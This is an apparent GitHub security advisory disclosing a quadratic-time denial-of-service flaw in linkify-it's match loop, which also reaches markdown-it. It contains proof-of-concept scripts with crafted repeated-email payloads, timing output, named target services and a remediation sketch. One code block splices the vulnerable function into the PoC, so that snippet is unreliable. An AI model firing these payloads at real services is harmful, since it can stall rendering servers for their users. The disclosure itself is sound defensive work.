GHSA-22p9-wv53-3rq4 LinkifyIt#match scan loop has quadratic algorithmic complexity

• npm linkify-it: < 5.0.1 → fixed in 5.0.1

Summary `LinkifyIt.prototype.match` — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times. 64 KB of `"[email protected]\n"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²). The same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body. Affected component • HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0) • Vulnerable function: `LinkifyIt.prototype.match` — `index.mjs:528-554` • Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match) • Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true` • All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0 Vulnerability details The O(N²) outer loop `index.mjs:528-554`: ```js LinkifyIt.prototype.match = function match (text) { const result = [] let shift = 0 let tail = shift ? text.slice(shift) : text while (this.test(tail)) { result.push(createMatch(this, shift)) tail = tail.slice(this.__last_index__) // poc.mjs <<'EOF' import LinkifyIt from 'linkify-it' const l = new LinkifyIt() for (const n of [1000, 2000, 4000, 8000, 16000]) { const evil = '[email protected]\n'.repeat(n) const t0 = process.hrtime.bigint() l.match(evil) const ms = Number(process.hrtime.bigint() - t0) / 1e6 console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`) } EOF node poc.mjs ``` Measured output (Node v25.5.0, Apple Silicon) ``` n=1000 bytes=8000 took 44 ms n=2000 bytes=16000 took 159 ms n=4000 bytes=32000 took 628 ms n=8000 bytes=64000 took 2506 ms n=16000 bytes=128000 took 9948 ms ``` Doubling N → ~4× wall-clock, consistent with O(N²). markdown-it transitive (independently confirmed) ```bash npm install [email protected] node -e " const md = require('markdown-it')({ linkify: true }) for (const n of [1000, 2000, 4000, 8000]) { const evil = '[email protected] '.repeat(n) const t0 = process.hrtime.bigint() md.render(evil) const ms = Number(process.hrtime.bigint() - t0) / 1e6 console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms') } " ``` ``` n=1000 bytes=8000 md.render=45ms n=2000 bytes=16000 md.render=171ms n=4000 bytes=32000 md.render=672ms n=8000 bytes=64000 md.render=2636ms ``` Same quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`. Impact • Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged. • No confidentiality or integrity impact. Real-world scenario: Any service that renders untrusted Markdown with `linkify:true` on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of `"[email protected] "`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier. Suggested remediation The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times: 1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs` 2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail 3. In `match()`, drop `tail = tail.slice(...)` entirely — advance a `pos` offset instead The schema branch at `index.mjs:428-440` is already structured this way — it's the in-repo precedent for the fix. ```js // proposed sketch LinkifyIt.prototype.match = function match (text) { const result = [] let pos = 0 while (this.testAt(text, pos)) { result.push(createMatch(this, 0)) pos = this.__last_index__ } return result.length ? result : null } ``` Total cost becomes O(N): each character scanned at most once per regex across the whole loop. Duplicate-risk analysis • Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` → `[]`) • Zero OSV entries (`api.osv.dev/v1/query` → `{}`) • markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline This finding appears novel. Note to maintainers Since `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.